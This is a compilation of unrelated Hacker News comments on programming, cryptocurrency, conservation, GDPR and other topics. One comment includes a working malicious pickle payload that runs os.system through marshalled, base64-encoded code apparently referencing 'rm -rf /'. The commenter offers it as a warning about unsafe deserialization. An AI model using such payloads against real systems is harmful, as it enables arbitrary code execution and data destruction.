skysight-inc/HackerNews huggingface dataset:
Wow, thanks for your reply. That's exactly what I was looking for. I know there are IDE's for PHP, Ruby, and Python, but it seems for Java it's practically a requirement.

As I've been researching, it seems to me like newer versions PHP has borrowed a lot of ideas from Java, which has made PHP better.

Thanks for the detailed reply, and I will definitely do some of those ideas.
That's amazing, but doesn't work for me (python 3.6.4). Not sure I'm going to try debugging it...

t = (0, 1)
tuple_setitem(t, 0, 99)
print(t)
# (0, 1)

EDIT: Ah, it seems to work in 3.6.3
Move to a cheap country and problem is solved.
isn't a feature phone a smartphone that doesn't get updates + a fixed set of bloatware?
what about https://github.com/diafygi/acme-tiny ?
> > Vulkan also requires a huge amount of code to do relatively simple things

IMO, this is a common misconception. Or, at least, the extrapolation of it is. Vulkan might require a lot of code to initialize, and has extra responsibilities related to memory management, synchronization, etc., but in my experience the end product doesn't require significantly more code than other graphics APIs. The up-front cost you pay doesn't translate to increased costs everywhere else, at least not to the same degree.

My library supports D3D11, Metal, Vulkan, and OpenGL, and Vulkan is the second-largest backend, but not by a lot (LOC: ~5k Vulkan, ~3.3k D3D11, ~2.5k Metal, 6k OpenGL). LOC is not the best indicator of complexity, to be fair. My OpenGL backend is definitely the most difficult to maintain and the largest, because the API is such a pain to deal with.
They don't. People are going to get screwed and sued over this.
ה.ג.א is 5.3.1, not 4.8.1:

https://github.com/ajalt/fuckitpy/blob/master/setup.py#L16
That would probably not work on customer networks.
FYI -occasional has two c's.
That's my take. Some e.g. Ruby/Rails was due to ppl in other languages (Java?) suddenly seeing how 'easy' web development could be. Many of the others... yeah.
Automated AI algorithms, some day.
Yes, Ring hosts user videos on S3 as stated above.
Google Authenticator is the only app I actually need, it's required to authenticate for a whole bunch of services at work. My employer paid my iPhone, and future upgrades, so it's their call, but I'd be just as happy with something like Nokia 104. Assuming that I could get an Google Authenticator app for it, my employer could save $1000+ every 18 to 24 month.
Looks like last year, 160 companies IPO'd in the US and it seems that 2018 is predicted to be an IPO-heavy year [0]. Given that Carta seems to be one of the more mature and heavily capitalized cap table SaaS solutions, ~10% market share doesn't sound unreasonable (and is certainly a great achievement!). If this year is great for IPOs, congrats them on a boom time.

[0]: https://www.ft.com/content/ae9e6500-e69b-11e7-8b99-0191e4537...
Is that why Cubans swim with sharks to get out of there?
Shell-code attacks using pickled objects have been around for some time.

A pickle bytestring can execute completely arbitrary code. I have used them in my work.

An easy introduction:
https://www2.cs.uic.edu/~s/musings/pickle/

An example:

payload = b"ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'4wAAAAAAAAAAAQAAAAIAAABDAAAAcxYAAABkAWQAbAB9AHwAagFkAoMBAQBkAFMAKQNO6QAAAAD6EGVjaG8gXCMgcm0gLXJmIC8pAtoCb3PaBnN5c3RlbSkBcgMAAACpAHIFAAAA+gc8c3RkaW4+2gdwYXlsb2FkBAAAAHMEAAAAAAEIAQ=='\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
from pickle import loads; loads(payload) # don't do it...!

(p.s., a matplotlib core dev told me they may move away from their use of pickle for this very reason.)
I'm not buying stocks directly. I have neither the knowledge nor the time to study the financial results and business model of each company I would potentially be interested in.
I'm putting a fixed amount of money in trackers every month (and that amount is a fixed percentage of my monthly savings). I've selected the trackers by reading their fact sheets and checking their fees.
> FWIW I'd disagree with this definition. To give a really simple example: believing in an intelligent creator based on design in nature.

Except that this doesn't answer the question: how this intelligent creator came to exist?

Religious people either react furiously to this question or do the equivalent of "I can't hear you", scientific people look for an alternative theory.
For widgets it's not just calling to iOS that matters, but being able to render the widgets as part of the painting process, which Fluter does as a completely separate process from how iOS renders. So to integrate it, you'd need something involving compositing native views properly and yet propagating touch events to them, or rendering native views on top but doing the right masking, or ...
Show HN: Htmlfetcher – No pain HTML fetching library
You can also find a "proof" that the Earth is flat after 5 seconds of googling.

Finding a non-dictatorial marxist state in real life would be slightly more difficult, as such a thing had never existed.
>see Y2K bug

One of my biggest pet-peeves is how since popular media hyped Y2K up as a potential world ending disaster when nothing happened people thought the whole thing was a myth. When it was not a myth (though it was overblown), it was just avoided because people engineered around it. I can't wait to see how people handle the Year 2038 Problem.
>whales

Thus, the importance of community. We all yearn for a return to the era of community-oriented sites, built by enthusiasts and maintained by the life-force of real people, whose intentions are not commercial in nature but rather community oriented.

So, I look forward to the eventual retiring of this heinous term, "whales". It is the community that matters.
See also: https://en.wikipedia.org/wiki/Nominative_determinism
> Also worth noting that the whole steem platform on the currency end of things is completely centralized

This is a central Youtube-like clone it seems. I can't scale in bandwidth and has a central governance model.

Plus the coin is worthless:
"The number of Steem available is set to double annually, making its supply growth exponential - a possible drag on its future value in the market"
https://www.investopedia.com/news/steemit-disruptive-blockch...

"IPFS is cool, but there is no magic. Someone needs to seed the files, and your browser cannot permanently store huge files (local storage is limited to 50MB on most browsers), so seeding through the app directly is not possible as of today. " (https://steemit.com/video/@heimindanger/introducing-dtube-a-... thnx ForkLDing).

Disclaimer: working for 13 years on an academically-pure Bittorrent-based decentralised solution with my university lab.
It was already submitted 5 times and never went anywhere. Nothing from S451 has gotten any traction, except for one post about Hintjens' passing, which was then visiby flagged. Because of S451's role in rescuing LambdaConf from the twitter mob with a fundraiser, they are now on the socjus shitlist, and those links and posts have a habit of disappearing off HN with plausible deniability.
The linker did nothing wrong. It wrote to a file using memory mapped I/O. Shortly afterwards the build system tried to run the just-linked file. This is supposed to work. It usually does. Due to this bug it occasionally doesn't.

The linkers are getting a compatibility hack (FlushFileBuffers call) but this is not supposed to be necessary, by the file-system contract.
Cars now are much much safer than cars fifty years ago. There’s clearly some incentive to improve safety
That's not what the quoted text really means; Datastore has a form of strong consistency too. I'm pretty sure Firestore is built on Datastore.

https://cloud.google.com/datastore/docs/concepts/structuring...
I have used a good number of metro systems in Europe and Asia and practically never smelled piss or shit, or encountered crazy people.

Madrid, Barcelona, Berlin, Prague, Paris, Stockholm, Beijing, Singapore, Hong Kong, Seoul... not a single negative experience in these cities, and I have seen plenty of people with kids in the metro.

Edit: OK, in Madrid they tried to take my old iPod from my coat pocket once, in a very crowded car. But that was once in a lot of times using that metro and it's not the kind of bad experience for kids that you are referring to.

In Rome I did find some stations somewhat shabby, as in New York. In Los Angeles I had a good experience, but I only took the metro once there so it may have been just luck.
Every taxi I've ridden in probably 10 past years had a GPS, that's not Uber/Lyft invention or unique property.
Have a Look at My Website. Suggestions Welcomed
I rarely see ads on my phone, I guess through a combination of using an adblocker in Firefox and mostly paying for ad-free apps. Is it really a major problem?
Cactoos-math (Extension of Cactoos. Added classes for mathematical objects)
Closing the file is supposed to ensure coherency. It generally does. That it occasionally does not is a bug, that Microsoft will fix.
Illegal? There may be scrutiny in a monopoly context, but there is no law that states that search results have to be fair and equitable.

How could they even be? For example Amazon might only stock four of six brands of video doorbell, so they're not going to be able to return neutral results.
Yes.

This is also a country which wants to eradicate rats, possums, stoats, feral cats, and several other predators by 2050. See New Zealand aims to become predator-free by 2050 , linked to from this article.

See also "The Big Kill - New Zealand’s crusade to rid itself of mammals." https://www.newyorker.com/magazine/2014/12/22/big-kill ("mammals" here does not mean "all mammals").
Unfortunately not. GitHub official newsletter only contains trending repositories across all programming languages. So you can't focus on particular language.
There was a (proposed? I don't remember) library or language that deleted source lines that caused errors. Repeated invocations would eventually yield source that did not produce any errors. Of course, it might be an empty file...
In New Zealand, non-native animals have driven several of the unique local species into extinction, and are working on more. The people there take it very seriously.
in general `f()()` means call the function returned by f() with no arguments. So f()()() means call the function returned by f()() with no arguments. In this case recurse() returns itself so

recurse == recurse()()()()...

It's more of an interesting observation than anything useful

The syntax can occasionally be useful if you have a function the generates function, but then you'd be calling initial function with some argument like this:

f_x = f(x)()
f_y = f(y)()
Turn off all notifications. Delete all non-tool apps; you know, the apps that want you to spend time in them. Keep only the tool apps.

You won't spend 30 minutes scrolling through your navigation app, or your music app, or through the pictures you made, or looking at the weather forecast, or...

These are all very useful features. I wouldn't throw out the baby with the bathwater.
I certainly am disappointed. I'm not entirely sure why I expected more from reddit, I mean, comeon, it's not twitter! ;-) My guess is that it's a mixture of illiteracy (innumeracy?) and invested interest.

The quality of discourse on /r/iota takes the cake though:
https://www.reddit.com/r/Iota/comments/80p3lg/cryptographers...
The comments keep going... boy, those iota people really hate zcash!

Also, I completely agree with your fascination and skepticism, but have nothing to add but that agreement.
I use a pure ASCII txt. You can make dividers by repeating a character like '#', but i don't really use such eye-candy.
World's first plastic-free aisle opens in Netherlands supermarket
Until you start throwing executives in prison, nothing will change long term. 10 figure fines are nothing compared to how much many Americans lost in the housing market crash. Consider how many people got foreclosed upon improperly. The loss of quality of life (and actual life) due to Wall Street greed is unmeasurable, but surely more than 10 figures.
This seems to be purely a visual library; I'm assuming it can be run on Electron or similar platforms, which do allow you to access the file system and network.
Yes, Nazi Numerology is a thing. Google it. Apparently 88 means something special to Dylan Roof:

http://www.thestate.com/news/local/t108eh/picture25100788/al...

http://www.insideedition.com/sites/default/files/images/2015...

https://www.usatoday.com/story/news/nation-now/2017/01/10/dy...

In another bit of symbolism, Richardson reminded the panel that Roof carried 88 hollow-point bullets into the church. The letter “H” is the eighth letter of the alphabet, and 88 is often used in white supremacist circles as a reference to “Heil Hitler.”

https://www.youtube.com/watch?v=pAnUzTcp6ew

Is Dylann Roof Obsessed with 'Heil Hitler' Number '88'?

The number 88 appears to be drawn into the sand by the accused church massacre killer Dylan Roof. Vanderbilt University anthropology professor Sophia Bjork-James tells INSIDE EDITION, "The number 88 is used by white supremacists."
Not only did it institute rent control

No. Prop 13 did no such thing.
To be honest, all of this depends heavily on the support level and company size as well.

While we had gold support at GCP (initial free offering), we were using one of their beta APIs that wasn't working properly — and within minutes we were talking to one of their Zurich SREs who was top notch and filed an issue that was resolved within a day.

When we scaled down to developer support (and even with a 5 digit infrastructure spend per month), we got delegated to an outsourced first-level support team somewhere in Asia with a complex problem and couldn't get through to anyone who didn't ask the equivalent of "have you tried turning it on and off again?", even after several tries. Eventually we gave up on using IAP completely due to severe bugs. Guess we'll upgrade again soon despite the cost, since the difference was night and day.

Just as a finishing line, the support experience at AWS was always equally mediocre, even in business support.
I used to work for a resume building startup and I still think their product is one of the best in the market :) But what I liked about it was the focus on real world successful examples and inline tips that were actually useful - https://enhancv.com

I’m a dev myself, but I liked to chat with some customers and some had amazing stories like “landed a job at spotify thanks to your resume” or “wanted to drop several k dollars on a consultant, but liked this tool so much I just used it instead”. Great stuff :)
And as a testiment to them I used the resume I built with the tool to find my next job :-D
There's a lot of people install memcached without realising it listens on all addresses by default. If you install it and run it via whatever system your OS/distro uses, you'd never need to look at the man page so you wouldn't find this out.
Consider that the GOP passed a considerably unpopular tax cut with a razor thin majority because their donors wanted it.
What is a "real thing"?

Like Bosch using IOTA to build smart cities in China?

https://twitter.com/BoschPresse/status/968479596868980737
In this instance, heavy inflation might actually be a plus for STEEM. This is because it doesn't appear to be intended as a store of value, but as an influence market.

As far as I can tell - and I'm sure there's a lot I've misunderstood - STEEM is essentially a market for on-line influence. You gain STEEM for upvotes etc. and the more STEEM tokens you have (STEEM Power), the more influence you have in terms of who gets STEEM tokens.

Now, this sounds kind of pyramid-y to begin with, but without significant inflation, such a system would seem doomed to form an oligopoly of a few users who, by virtue of their "STEEM Power" would gain an ever-increasing share of the tokens minted, pushing everyone else out and probably killing the whole ecosystem. Of course, that may still happen even with inflation.
https://www.amazon.com/One-Up-Wall-Street-Already-ebook/dp/B...

^ For fundamental investing, this is a good start.
So much plastic!!

I see lot of plastic on the rack!!
No, I think it's just a different philosophy around what is rich. You can work constantly and have a lot of money, but then you could be very poor in happiness or peace of mind.

Most things in life are best when they are balanced.
I'm embarrassed to think about how many of my quick hack proof of concepts are still running years later.
> Hackernews hates Ethereum

It does? I admit I'm pretty ignorant of the nuances of all the little alt coins, but I know Ethereum has something to do with distributed applications, with a VM, and I've always thought that cool in the abstract. (though I have no idea what I'd do with it.)

Just probing for information, not trying to have any "tone", do you know what the distaste for Ethereum is rooted in?
True! For the article linked, PIV isn't used, and so my linked bug doesn't apply.

But, with regard's to the parent comments's "this or any guide" qualifier, then this can become an important point, and so I think it's worth noting.
They say hunting is not adequate to solve this problem, but I would think a few boat loads of hunters from SEA could not only measurably reduce the population of rabbits but also provide a lot of food and fur.

I'm not at all advocating killing rabbits for food or fur, but it's at least more human (and less wasteful) than sickening them and having them suffer 2-4 days before they die.
Okay but i expect to wait 5 min on avg. so due to the paradoxon it is 10 min not 20 min
What about hiring an actual Perl programmer?
I am not sure how readable Solzhenytsin is in English, but his Russian is atrocious (he was also obviously not a nice person).

For sheer horror of life in worker's paradise, I think Varlam Shalamov's [0] Kolyma stories are much better written.

[0] https://en.wikipedia.org/wiki/Varlam_Shalamov
Latex with careful tuning of line spacing, column width, etc.

I don't like resumes that are too slick looking. It makes me feel like the applicant is trying to hide something.

On other hand, a truly ugly resume hurts the applicant. There's a sweet spot in the middle.
Beware of messing around with large systems! Your proposed "solution" will most likely backfire in ways you don't even imagine!
Thanks! It doesn't have it in Spanish: "ocasional". Should have checked better.
You can add as many regulations as you want, but it only perpetuates a broken system. And even the reforms that do happen are temporary, and easily undone.
Couldn't really see it on mobile--where so many people are browsing from nowadays.
This is potentially pretty-huge, and a surprisingly well-written non-academic science article
Globalisation is basically constant bio warfare on so many Australian species. The cane toad being the most notable on its slow march into Kakadu, we really do have to kill all the rabbits and all the toads for the ecosystem. From what I understand it’s the same in NZ.
> I am not sure if the subscriber base is technically illiterate or users that hold a given coin have a strong incentive to dismiss any criticism.

Why not both?

Most of those crypto currencies smell like MLM schemes for people who scoff at housewives doing the same with physical products. Get rich fast at the expense of the late comers, you can do it! Start by getting your family and friends in it.

The old goals of making a decentralized money to fuel revolutions disappeared fast once the only users ended being pure criminals.
It wouldn't. New Zealand already has plenty of hunting and it's not close to enough.
Show HN: Watch people talk about your product on-demand
After the replication crisis and "Why Most Published Research Findings Are False," I am very sceptical of statistical findings like this with a poorly/not understood mechanism.

But the RNA theory at least sounds possible to layperson.
So what? The killer must have wear shoes, so should we ban shoes now as well? I understand what these numbers might mean in some circles, but I just don't follow logic why the rest of us would care. After all, Streisand effect kicks in if we try to limit usage of certain numbers.
For me, it's alway Jon Skeet or Stephen Cleary with a well-written, correct answer that highlights some gotcha that is incredibly non-obvious in the official documentation. Where these guys find the time, I don't know...

Unless it's something to do with Skype or Lync. Then it's abandon all hope, ye who enter here.
Can anybody explain this:
"High performance event detection via color map hashing"?
Any resources that explain this concept?
Pixel team soliciting feedback in Reddit
I don't think you understand exactly how many rabbits we have, remember they have no native predators - NZ didn't get land mammals until humans showed up in ~900AD
The water is coming for Copenhagen; good design could be its best defence
> Now, this sounds kind of pyramid-y

Unlimited money creation is never sustainable, history shows. An online attention coin can't change economics. The future of television probably is not build on a high inflation economy or destructive hyperinflation.
https://scholar.google.com/scholar?q=high+inflation+~economy
NZ is experienced in the subject.
This is the dumbest article i ever read on HN news.
This isn't a Michael Crichton book. The impact is heavily studied, including in model areas and other countries. The most likely backfiring would be for it to not kill as many rabbits as hoped like in the early 90s in Australia.
> act as a continuous drag on developing new technologies

Or foster new technologies around privacy and user management.
I can't find a definition of "erasure". Do these count as erasure?:

1) copying a subset of items Y from a set X stored at location A to a new location (e.g. a new disk or another computer) B, then deleting location A (e.g. reformatting disk A)

2) storing all information encrypted with per-person keys, then deleting a person's key

Also how does one prove erasure ?

https://gdpr-info.eu/art-4-gdpr/
Lead generation guide by Typeform
As an awesome alternative you can use a Trezor (or KeepKey) with https://github.com/romanz/trezor-agent for GPG and SSH. Unlike the YubiKey, with the Trezor you have have to enter a scrambled numeric PIN to use it.
Title for HN could mention Python. README should say when/why to use this library over others. Is it just more convenient or is there more to handling pages with 'lots of Ajax?'
the wave of municipal bankruptcies

"Wave"? The Legislative Analyst's web page mentions only one completed bankruptcy (Vallejo), with only 3 other attempts.
When Amazon launched their Cloudwatch reports, I saw a definite downward trend in S3stat signups, and even lost several customers since their thing duplicated most of my functionality at the time.

It took a couple years to recover. Mostly through improving my product, but also from people realizing that Cloudwatch is kinda a pain to use and doesn't give the best reports.

Better still, Amazon never iterates on things, so their product today is the same one they introduced half a dozen years ago.

S3stat is doing better than ever today.
I knew I had pretty bad vision for a while, but really started thinking about it when I almost failed my driver's license eye check. I got LASIK to solve the problem.
s/most of the time/(?:almost )?all of the time/

Things I've been reading about python recently makes it seem to me like python people are re-learning lessons from perl.
Any apps you have shouldn't rely on access to the Internet; they should make use of the hardware and resources you have. Remote into a "real computer" to do the important things.
GP was talking about the initial setup of a ride, the app of your uber/lyft driver will already have your destination. The conventional taxi GPS won't. The app backend takes care of the cumbersome rider to driver to GPS dataflow.

Still, as a cyclist, I'd rather have lane blocking than drivers fiddling with their apps while driving.
Cabhit-Book a Taxi Online UK
Not sure if 49$ is really fair (didn't read what the product is), but eliminating that huge list of plans was a very good choice.